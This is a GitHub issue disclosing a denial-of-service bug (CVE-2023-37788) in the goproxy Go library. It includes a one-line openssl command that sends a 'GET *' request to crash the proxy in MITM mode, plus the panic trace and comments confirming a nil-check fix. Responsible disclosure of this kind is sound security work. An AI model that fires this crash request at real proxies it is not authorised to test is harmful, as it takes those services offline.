Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors #502

Closed
g0ku704 opened this issue Jun 29, 2023 · 2 comments · Fixed by #507
Closed

goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors #502

g0ku704 opened this issue Jun 29, 2023 · 2 comments · Fixed by #507

Comments

@g0ku704
Copy link
Contributor

g0ku704 commented Jun 29, 2023 •
edited
Loading

A HTTP request to HTTPS page replaced path the "/" with asterix "*" crashes the elazar/goproxy server in MITM mode.

Vulnerability can be triggered by running this command against elazarl/goproxy in MITM Mode.

echo -e "GET * HTTP/1.1\r\n" | openssl s_client -proxy localhost:8000 -connect "localhost:8000" -ign_eof

Similar to this

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x38 pc=0x6b3260]

goroutine 1287 [running]:
github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps.func2()
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:249 +0xd60
created by github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:211 +0x611

https://github.com/elazarl/goproxy/blob/master/https.go#L249
@g0ku704 g0ku704 mentioned this issue Jul 13, 2023
Merged
@g0ku704 g0ku704 changed the title panic: runtime error: invalid memory address or nil pointer dereference goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors Jul 18, 2023
@GoVulnBot GoVulnBot mentioned this issue Jul 18, 2023
Closed
jay7x added a commit to jay7x/etc-hosts-proxy that referenced this issue Aug 1, 2023
@jay7x
Bump deps to fix goproxy DoS vulnerability
41712c4 
Links:
- elazarl/goproxy#502
- GHSA-4r8x-2p26-976p
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-37788
@jay7x jay7x mentioned this issue Aug 1, 2023
Merged
@danmanor
Copy link

danmanor commented Aug 7, 2023

Is this issue resolved ?

@g0ku704
Copy link
Contributor Author

g0ku704 commented Aug 9, 2023

Is this issue resolved ?

Yes, I've added a nil check that was causing the crash and merged with the main branch now. But the release package is not updated yet. (#507)

@mixeract mixeract mentioned this issue Aug 10, 2023
Closed
@apcxtest apcxtest mentioned this issue Aug 17, 2023
Closed
@svghadi svghadi mentioned this issue Aug 29, 2023
Merged
@kenjenkins kenjenkins mentioned this issue Sep 6, 2023
Merged
6 tasks
@zeisss zeisss mentioned this issue Oct 17, 2023
Closed
@hoenn hoenn mentioned this issue Feb 12, 2024
Merged
@rgoltz rgoltz mentioned this issue Apr 8, 2024
Open
@yanmxa yanmxa mentioned this issue Jul 29, 2024
Merged
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

Added control for the nil request g0ku704/goproxy
2 participants
@g0ku704 @danmanor